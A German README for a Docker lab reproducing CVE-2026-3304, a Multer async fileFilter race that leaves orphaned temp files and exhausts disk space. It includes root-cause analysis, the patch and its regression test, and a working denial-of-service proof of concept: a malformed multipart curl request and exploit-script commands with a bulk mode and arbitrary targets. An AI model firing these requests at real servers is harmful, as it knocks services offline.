
# Reproduktionslabor für CVE-2026-3304, eine Multer-async-fileFilter-Race-Condition, die durch verwaiste temporäre Dateien zur Erschöpfung des Speicherplatzes führt. Enthält anfällige und gepatchte Docker-Server, Exploit-Skripte und Root-Cause-Analyse.
Nur für Bildungs- und Forschungszwecke. Angriffe auf Systeme ohne Autorisierung sind illegal.
Diese Laborumgebung wurde durch die Analyse des Multer-2.1.0-Patches und seines offiziellen Testcodes erstellt. Der verwundbare Server repliziert exakt die im Patch-Test beschriebenen Bedingungen, und der gepatchte Server führt Multer 2.1.0 aus, um zu bestätigen, dass der Fix funktioniert.
| Feld | Details |
|---|
| CVE | CVE-2026-3304 |
| Ziel | Multer < 2.1.0 (Node.js multipart/form-data Middleware) |
| Typ | DoS — Verwaiste Datei (unvollständige Bereinigung temporärer Dateien) |
| CWE | CWE-459: Unvollständige Bereinigung |
| CVSS 4.0 | 8.7 HOCH |
| Gepatchte Version | Multer 2.1.0 |
Eine fehlerhafte Multipart-Anfrage mit einem fehlenden name-Attribut bei einem Dateiteil führt dazu, dass Multer eine temporäre Datei auf der Festplatte erstellt, diese aber nie bereinigt. Wiederholte Anfragen erschöpfen den Speicherplatz, was zu einem Denial of Service führt.
Die Schwachstelle entsteht im fileFilter-Callback-Behandlungsablauf innerhalb von multer/lib/make-middleware.js.
Wenn Multer eine Multipart-Anfrage Teil für Teil streamt und parst, läuft die folgende Sequenz ab:
[Parsing-Ereignissequenz — verwundbare Version]
1. Teil-1-Header empfangen
→ fileFilter(req, file, cb) aufgerufen
→ setImmediate(cb) → Callback auf den nächsten Event-Loop-Tick verschoben
2. Teil-1-Body empfangen
→ /tmp/uploads/<uuid> geöffnet, Daten werden geschrieben
3. Teil-2-Header empfangen (name-Attribut fehlt)
→ Multer erkennt 'name fehlt'
→ errorOccured = true ← Fehlerflag gesetzt
→ abortWithCode('LIMIT_FIELD_KEY') aufgerufen → HTTP 500 geplant
4. setImmediate-Callback feuert (nächster Event-Loop-Tick)
→ fileFilter-Ergebnis: includeFile = true (normaler Ablauf)
→ [BUG] errorOccured-Flag wird NICHT geprüft
→ storage._handleFile() aufgerufen → temporäre Datei auf der Festplatte gespeichert
5. HTTP-500-Antwort gesendet
→ temporäre Datei bleibt auf der Festplatte (verwaiste Datei)
make-middleware.js — Multer < 2.1.0)// fileFilter-Abschluss-Callback (über setImmediate verschoben)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
// ❌ errorOccured wird hier nie geprüft
// selbst wenn beim Parsen von Teil 2 ein Fehler gesetzt wurde, wird die Ausführung fortgesetzt
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// temporäre Datei wird in uploadedFiles registriert und auf der Festplatte belassen
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
Warum ist setImmediate das Problem?
Das Umschließen von fileFilter mit setImmediate verschiebt dessen Callback auf den nächsten Event-Loop-Tick.
In diesem Fenster parst busboy (der Multipart-Parser) weiter die Header des nächsten Teils,
entdeckt das fehlende name und setzt errorOccured = true.
Wenn der Callback fortgesetzt wird, ist der Fehlerzustand bereits gesetzt — aber der Code prüft ihn nie,
also wird storage._handleFile bedingungslos aufgerufen und die temporäre Datei auf die Festplatte geschrieben.
Fix-Commit: 739919097d
Eine einzelne if (errorOccured)-Absicherung wurde unmittelbar nach dem Eintritt in den fileFilter-Callback hinzugefügt,
bevor storage._handleFile erreicht wird.
// fileFilter-Abschluss-Callback (Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// ✅ [PATCH] errorOccured vor dem Fortfahren prüfen
if (errorOccured) {
appender.removePlaceholder(placeholder)
return fileStream.resume() // Stream leeren — keine Datei auf die Festplatte geschrieben
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
| Element | Verwundbar (< 2.1.0) | Gepatcht (2.1.0) |
|---|---|---|
errorOccured-Prüfung | ❌ Nicht geprüft | ✅ Sofort beim Callback-Eintritt geprüft |
_handleFile bei Fehler aufgerufen | Ja | Blockiert |
| Bereinigung temporärer Dateien | ❌ Fehlt | ✅ Über fileStream.resume() |
| Verwaiste Dateien pro Anfrage | 1 | 0 |
Warum fileStream.resume() bereinigt:
Der Aufruf von fileStream.resume() leert und verwirft den Stream, ohne ihn an DiskStorage zu übergeben,
sodass keine Datei geschrieben wird und nichts auf der Festplatte zurückbleibt.
Das Multer-Team hat den folgenden Mocha-Test in den 2.1.0-Patch aufgenommen, um den Fix zu verifizieren.
Dieser Test wurde zur Vorlage für diese Laborumgebung — der verwundbare Server
repliziert das hier beschriebene exakte Setup (setImmediate fileFilter + fehlerhafte Multipart-Anfrage),
und das erwartete Verhalten wird sowohl gegen die verwundbare als auch gegen die gepatchte Version verifiziert.
/* eslint-env mocha */
var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')
var express = require('express')
var multer = require('../')
describe('async fileFilter cleanup', function () {
it('does not leave orphan files when request aborts with missing field name', function (done) {
var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
var app = express()
// Vulnerability trigger: async fileFilter via setImmediate
var upload = multer({
dest: uploadDir,
fileFilter: function (req, file, cb) {
setImmediate(function () { cb(null, true) })
}
})
app.post('/upload', upload.any(), function (req, res) {
res.json({ success: true })
})
// Error handler: respond with 400
app.use(function (err, req, res, next) {
res.status(400).json({ error: err.code })
})
var server = app.listen(0, function () {
var port = server.address().port
var boundary = 'TestBound'
// Malicious body: Part 1 valid, Part 2 missing name attribute
var body =
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
'Content-Type: application/octet-stream\r\n\r\nORPHAN FILE DATA\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; filename="b.bin"\r\n' + // ← name= missing
'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
'--' + boundary + '--\r\n'
var req = http.request({
hostname: 'localhost',
port: port,
path: '/upload',
method: 'POST',
headers: {
'Content-Type': 'multipart/form-data; boundary=' + boundary,
'Content-Length': Buffer.byteLength(body)
}
}, function (res) {
res.resume()
res.on('end', function () {
setTimeout(function () {
var files = fs.readdirSync(uploadDir)
// Assert 1: server must respond with 400 (error)
assert.strictEqual(res.statusCode, 400)
// Assert 2: no orphaned files must remain on disk
assert.strictEqual(files.length, 0)
server.close(done)
}, 500)
})
})
req.write(body)
req.end()
})
})
})
| Assert | Bedeutung |
|---|---|
res.statusCode === 400 | Multer lehnt die fehlerhafte Anfrage korrekt ab |
files.length === 0 | Keine verwaisten Dateien auf der Festplatte (Patch verifiziert) |
Bei einer verwundbaren Version (< 2.1.0) ist files.length gleich 1 und der Assert schlägt fehl.
Dieses Labor spiegelt direkt das oben beschriebene Patch-Test-Setup wider.
Verwundbarer Server (Dockerfile + app/server.js) führt Multer 2.0.2 mit einem asynchronen fileFilter
unter Verwendung von setImmediate aus — die exakte Auslösebedingung aus dem Patch-Test:
// app/server.js — repliziert den Schwachstellenauslöser des Patch-Tests
const upload = multer({
dest: UPLOAD_DIR,
fileFilter: function (req, file, cb) {
setImmediate(function () { // ← verschiebt den Callback und erzeugt die Race-Condition
cb(null, true)
})
}
})
Gepatchter Server (Dockerfile.patched) führt dieselbe server.js aus, installiert aber Multer 2.1.0,
wo die errorOccured-Absicherung vorhanden ist — entsprechend dem erwarteten Bestehenszustand des Patch-Tests.
| Server | Port | Multer | Erwartetes Verhalten |
|---|---|---|---|
| Verwundbar | 3000 | 2.0.2 | Verwaiste Datei pro fehlerhafter Anfrage erstellt |
| Gepatcht | 3001 | 2.1.0 | Keine verwaisten Dateien — Bereinigung funktioniert korrekt |
Hinweis: Das Umschalten von
fileFilterauf synchron (Entfernen vonsetImmediate) verhindert verwaiste Dateien selbst bei Multer < 2.1.0. Die Schwachstelle erfordert beide Bedingungen: einen asynchronenfileFilterund die fehlendeerrorOccured-Prüfung.
Der Angriff sendet eine multipart/form-data-POST-Anfrage, bei der dem zweiten Teil das erforderliche name-Attribut fehlt.
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream
<binary data>
------Boundary--
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="legit.bin" ← Teil 1: gültig, temporäre Datei wird hier erstellt
Content-Type: application/octet-stream
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------Boundary
Content-Disposition: form-data; filename="malformed.bin" ← Teil 2: name= fehlt!
Content-Type: application/octet-stream
x
------Boundary--
Serverseitige Ausführung:
1. Teil 1 trifft ein → Multer öffnet /tmp/uploads/<uuid> und beginnt zu schreiben
2. fileFilter mit setImmediate aufgerufen → Callback verschoben
3. Teil 2 trifft ein → Multer erkennt fehlendes name → errorOccured = true
4. setImmediate feuert → fileFilter-Callback läuft
5. [BUG] errorOccured nicht geprüft → storage._handleFile aufgerufen
6. Temporäre Datei auf die Festplatte geschrieben
7. HTTP 500 zurückgegeben
8. /tmp/uploads/<uuid> bleibt für immer auf der Festplatte ← verwaiste Datei
Serverantwort:
HTTP/1.1 500 Internal Server Error
MulterError: Field name missing
at abortWithCode (/app/node_modules/multer/lib/make-middleware.js:...)
curl -s -X POST http://localhost:3000/upload \
-H "Content-Type: multipart/form-data; boundary=----Boundary" \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="file"; filename="legit.bin"\r\nContent-Type: application/octet-stream\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n------Boundary\r\nContent-Disposition: form-data; filename="malformed.bin"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n------Boundary--\r\n'
Verwaiste Dateien unmittelbar danach prüfen:
curl http://localhost:3000/status
pip install requests)# Verwundbaren (Port 3000) + gepatchten (Port 3001) Server starten
docker compose up -d --build
# Prüfen, dass beide laufen
curl http://localhost:3000/status
curl http://localhost:3001/status
bash exploit/curl_poc.sh
# Standard (50 Anfragen)
python3 exploit/exploit.py
# Schwerer Angriff (500 Anfragen, 5 KB Payload jeweils)
python3 exploit/exploit.py --count 500 --size 5120
# Gegen HTTPS-Ziel mit selbstsigniertem Zertifikat
python3 exploit/exploit.py --target https://target.example.com --no-verify
# Vergleich mit gepatchter Version
python3 exploit/exploit.py --target http://localhost:3001 --count 50
bash exploit/monitor.sh
curl -X DELETE http://localhost:3000/reset
| Ziel | Ergebnis |
|---|---|
| Verwundbarer Server (3000) | Verwaiste Datei pro Anfrage erstellt, Speicherplatz wächst kontinuierlich |
| Gepatchter Server (3001) | 0 verwaiste Dateien unabhängig von der Anzahl der Anfragen |
[*] CVE-2026-3304 Multer Orphaned File DoS Exploit
[*] Target : http://localhost:3000/upload
[*] Requests: 50 | Delay: 0.0s | Payload: 2048 bytes
------------------------------------------------------------
[*] Before attack — orphaned files: 0
[ 10/50] 500 response: True | orphaned files: 10 | disk: 20.00 KB
[ 20/50] 500 response: True | orphaned files: 20 | disk: 40.00 KB
[ 30/50] 500 response: True | orphaned files: 30 | disk: 60.00 KB
[ 40/50] 500 response: True | orphaned files: 40 | disk: 80.00 KB
[ 50/50] 500 response: True | orphaned files: 50 | disk: 100.00 KB
============================================================
[Result] Total requests: 50 | Triggered: 50
[Result] Orphaned files: 0 -> 50
[Result] Disk wasted: 100.00 KB
[!] VULNERABLE: 50 temporary files left on disk, never cleaned up
[!] Repeated attacks will exhaust disk space (DoS)
$ docker exec cve-2026-3304-target df -h /tmp/uploads
Before attack:
Filesystem Size Used Available Use% Mounted on
tmpfs 50.0M 0 50.0M 0% /tmp/uploads
After 200 requests × 5 KB:
Filesystem Size Used Available Use% Mounted on
tmpfs 50.0M 1.6M 48.4M 3% /tmp/uploads
$ docker exec cve-2026-3304-target du -sh /tmp/uploads
1.6M /tmp/uploads
$ docker exec cve-2026-3304-target ls /tmp/uploads | wc -l
200
Jede verwaiste Datei verbleibt dauerhaft auf der Festplatte, bis der Server neu gestartet oder manuell bereinigt wird. Das tmpfs des Containers ist auf 50 MB begrenzt — das Erreichen des Limits führt dazu, dass der Server bei neuen Uploads vollständig ausfällt.
Run 1: orphaned files 0 -> 50 (100 KB)
Run 2: orphaned files 50 -> 100 (200 KB)
↑ Dateien aus Lauf 1 sind weiterhin vorhanden — nie bereinigt
[ 10/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 20/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 30/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 40/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 50/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[*] No orphaned files — patched version cleans up correctly
docker compose down